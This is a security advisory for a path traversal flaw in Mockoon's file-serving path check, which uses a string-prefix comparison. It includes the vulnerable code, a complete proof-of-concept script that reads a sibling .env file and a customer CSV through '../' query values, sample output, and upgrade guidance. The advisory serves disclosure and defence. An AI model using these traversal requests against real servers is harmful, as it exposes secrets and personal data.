GHSA-8wqc-v2q8-vff2: Path Traversal

Published Sep 11, 2026
·
Updated

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(Access to absolute path outside of the original static base directory (${resolvedPath})); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(Access to relative path outside of the environment base directory (${resolvedPath})); }

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../publicbackup/.env resolves to /srv/publicbackup/.env, and "/srv/publicbackup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/publicbackup && cd /work echo 'public landing page' > public/index.txt echo 'AWSSECRETACCESSKEY=redacted' > publicbackup/.env echo 'Michael, michael@example.com, 555-22-7741' > publicbackup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../publicbackup/.env :",await g("../publicbackup/.env")); console.log("[+] escape -> ../publicbackup/customers:",await g("../publicbackup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

text [] intended file (public/index.txt) : public landing page [+] escape -> ../publicbackup/.env : AWSSECRETACCESSKEY=redacted [+] escape -> ../publicbackup/customers: Michael, michael@example.com, 555-22-7741

../publicbackup/.env and ../publicbackup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public

Affected Software

2 affected componentsFixes available
npm/@mockoon/cli<=9.6.1
9.7.0
npm/@mockoon/commons-server<=9.6.1
9.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@mockoon/cli to a version that resolves this vulnerability.

    Fixed in 9.7.0
  2. Upgrade

    Upgrade npm/@mockoon/commons-server to a version that resolves this vulnerability.

    Fixed in 9.7.0
  3. Configuration

    Do not allow request-controlled values (e.g., queryParam/urlParam/header/body via TemplateParser) to populate FILE response filePath; ensure getSafeFilePath does not perform string-prefix path checks that let ../ escape the intended base (the unsafe checks are resolvedPath.startsWith(staticBaseDir) / resolvedPath.startsWith(this.options.environmentDirectory)).

    packages/commons-server/src/libs/server/server.ts (getSafeFilePath) filePath templating for FILE responses = disable request-controlled templating for FILE responses
  4. Compensating control

    Add an external access control to the download/File-serving endpoint (e.g., require authentication/authorization) to prevent unauthenticated clients from reading files via path traversal using name={{queryParam 'name'}}.

Event History

Sep 11, 2026
Advisory Published
via GitHub·10:04 PM
Data Sourced
via GitHub·10:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments are exposed when they use a FILE response with a filePath template that incorporates request data, such as a query parameter, to select a file. The issue affects path validation for those request-controlled file paths.

2

What does an attacker need to exploit this issue?

An unauthenticated client must be able to send a request that controls data embedded in the FILE response's filePath. By supplying ../ traversal data that resolves to a sibling path whose absolute path string begins with the configured static base directory, the client can read files outside the intended served directory.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203